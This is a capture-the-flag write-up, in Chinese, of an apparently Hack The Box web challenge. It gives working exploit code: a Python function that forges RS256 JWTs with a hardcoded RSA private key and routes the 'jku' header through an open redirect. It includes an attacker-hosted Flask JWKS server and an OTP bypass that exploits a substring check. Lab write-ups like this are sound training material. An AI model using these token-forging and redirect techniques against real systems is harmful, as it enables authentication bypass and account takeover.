DIFFICULTY:EASY
说实话这个简单纯属是因为出题人给太多提示了,其实这道题光是代码量就够喝一壶了
代码文件中//TODO的部分都是提示,只要把wrapper.py填写完就可以了

step1: implement create_forged_jwt

下面这段代码的JWT验证支持jku,也就是从一个url去拿jwk,只不过限定只能以http://127.0.0.1:1337/开头,但是/api/analytics/redirect路由支持open redirect
就能直接绕过,让axios重定向到我们的服务器

challenge/server/middleware/jwksMiddleware.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
export const verifyToken = async (token) => {
try {
const decodedHeader = jwt.decode(token, { complete: true });

if (!decodedHeader || !decodedHeader.header) {
throw new Error('Invalid token: Missing header');
}

const { kid, jku } = decodedHeader.header;

if (!jku) {
throw new Error('Invalid token: Missing header jku');
}

// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}

if (!kid) {
throw new Error('Invalid token: Missing header kid');
}

if (kid !== KEY_ID) {
return new Error('Invalid token: kid does not match the expected key ID');
}

let jwks;
try {
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
} catch (error) {
throw new Error(`Error fetching JWKS from jku: ${error.message}`);
}

if (!jwks || !Array.isArray(jwks.keys)) {
throw new Error('Invalid JWKS: Expected keys array');
}

const jwk = jwks.keys.find((key) => key.kid === kid);
if (!jwk) {
throw new Error('Invalid token: kid not found in JWKS');
}

if (jwk.alg !== 'RS256') {
throw new Error('Invalid key algorithm: Expected RS256');
}

if (!jwk.n || !jwk.e) {
throw new Error('Invalid JWK: Missing modulus (n) or exponent (e)');
}

const publicKey = jwkToPem(jwk);

const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
return decoded;
} catch (error) {
console.error(`Token verification failed: ${error.message}`);
throw error;
}
};

服务器返回jwk的格式应该是json

1
2
3
4
5
6
7
8
{
"kty": "RSA",
"kid": "5cf5a00e-b3ff-4937-91a0-d25d2822084c", //改成一个有效的
"alg": "RS256",
"use": "sig",
"n": "q4cmLGtQvMFpoV5gLzTjldo0yRqIxSbosHYu6cAGV19StWndRQ80xI8ZsP3J8TyxGFxKn19ha+Vtpm4Sxryr3w==",
"e": "AQAB"
}

注册一个账号,拿到账号的authorization头,bearer 后面的base64解码提取一个kid就可以了

然后还得生成一个有效的jwt签名,这个我们离线生成好然后记下来,之后放在authorization头里面,可以一直用,服务器没有检查jwt验证后用户是谁,也就是验证
通过后可以登录任何用户,rsa的密钥对我们自己生成一对(可以用我生成的,无需修改),我们的服务器返回的是base64编码十六进制值后的n和e,htb服务器会用这
两个验证我们的authorization头

给出我的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def create_forged_jwt(jku_url,payload):
'''(ノ◕ヮ◕)ノ*:・゚✧'''
import random
from jwt import encode
from jwt import decode
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import load_der_private_key
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
import base64
random.seed(42)
n=0xab87262c6b50bcc169a15e602f34e395da34c91a88c526e8b0762ee9c006575f52b569dd450f34c48f19b0fdc9f13cb1185c4a9f5f616be56da66e12c6bcabdf
e=0x10001
d=0x20de1ed47823da677d642c7f65cc4ea7d24e3712dc8e5aac4fd3f59d58ec5e25579467783239f16db728e782258b8c22e3c7074cd75c8276ca82562cd294ddd1
p=0xd4f82fe5149161f8a01de650497673390dd1dd98034a6fc953080c62769cae0b
q=0xce2f67751e0f6c4e440f443c2333c54d26eb3c10ce1926331431d5f187e7e1fd
dmp1 = d % (p - 1)
dmq1 = d % (q - 1)
iqmp = pow(q, -1, p)
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

private_numbers = rsa.RSAPrivateNumbers(
p=p, # p and q are not needed in this case
q=q,
d=d,
dmp1=dmp1,
dmq1=dmq1,
iqmp=iqmp,
public_numbers=public_numbers,
)
private_key=private_numbers.private_key()
private_key_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption() # 不加密
)
private_key_pem_str = private_key_pem.decode('utf-8')
payload = payload
proxy=jku_url+"/"
headers={
"alg": "RS256",
"typ": "JWT",
"kid": "5cf5a00e-b3ff-4937-91a0-d25d2822084c",
"jku": f"http://127.0.0.1:1337/api/analytics/redirect?url={proxy}key&ref=aaa"
}
sig = encode(payload, private_key_pem_str, algorithm="RS256", headers=headers)
decoded = decode(sig, public_key_pem, algorithms=["RS256"])
auth=sig
return auth
# return token

下面是我做题用的服务器脚本,不管你用什么把服务器搞到公网一定要保证连通性(没vps可以用frp)

server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib.parse
from flask import Flask, send_from_directory, abort,render_template_string,request
import os
import urllib
import inspect
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def generate_jwks():
# 1. 生成 RSA 密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=512
)
public_key = private_key.public_key()

# 2. 提取公钥的模数 (n) 和指数 (e)
public_numbers = public_key.public_numbers()
n = public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')
e = public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')
print(private_key.private_numbers().d)
jwk = {
"kty": "RSA",
"kid": "5cf5a00e-b3ff-4937-91a0-d25d2822084c",
"alg": "RS256",
"use": "sig",
"n": "q4cmLGtQvMFpoV5gLzTjldo0yRqIxSbosHYu6cAGV19StWndRQ80xI8ZsP3J8TyxGFxKn19ha+Vtpm4Sxryr3w==",
"e": "AQAB"
}
jwks = {
"keys": [jwk]
}

return json.dumps(jwks, indent=4)
app = Flask(__name__)
CURRENT_DIR = os.getcwd()
@app.route('/key', methods=["GET"])
def template():
return generate_jwks(),200,{"Content-Type":"application/json"}

# 运行应用
if __name__ == '__main__':
app.run(port=1234,debug=True)

step2:爆破otp

如题,wrapper.py现在只缺otp参数,这个参数实际是一个1000-10000的密码:

1
await setHash(`otp:${userId}`, { otp, expiresAt: Date.now() + ttl * 1000 });

一分钟更新一次,但是验证却是用下面的逻辑:

1
2
3
4
5
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}

包含otp就可以,所以我们弄一个字符串包含所有1000-10000的字符串就可以了,要让字符串尽可能短就要最大化字符前缀的利用率,这好像是个算法题….
开玩笑的,字符串长度其实没限制,暴力枚举所有字符串就好

1
2
3
4
5
6
7
8
let s = '';
for (let i = 1000; i <= 10000; i++) {
s += i;
}
s = s.slice(0, -1);
const x = Math.floor(Math.random() * (10000 - 1000 + 1)) + 1000;
console.log(s);
console.log(s.includes(x)); // 输出 true

记录下来然后在wrapper.py中添加otp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx就好

完整的代码(包括源代码):点我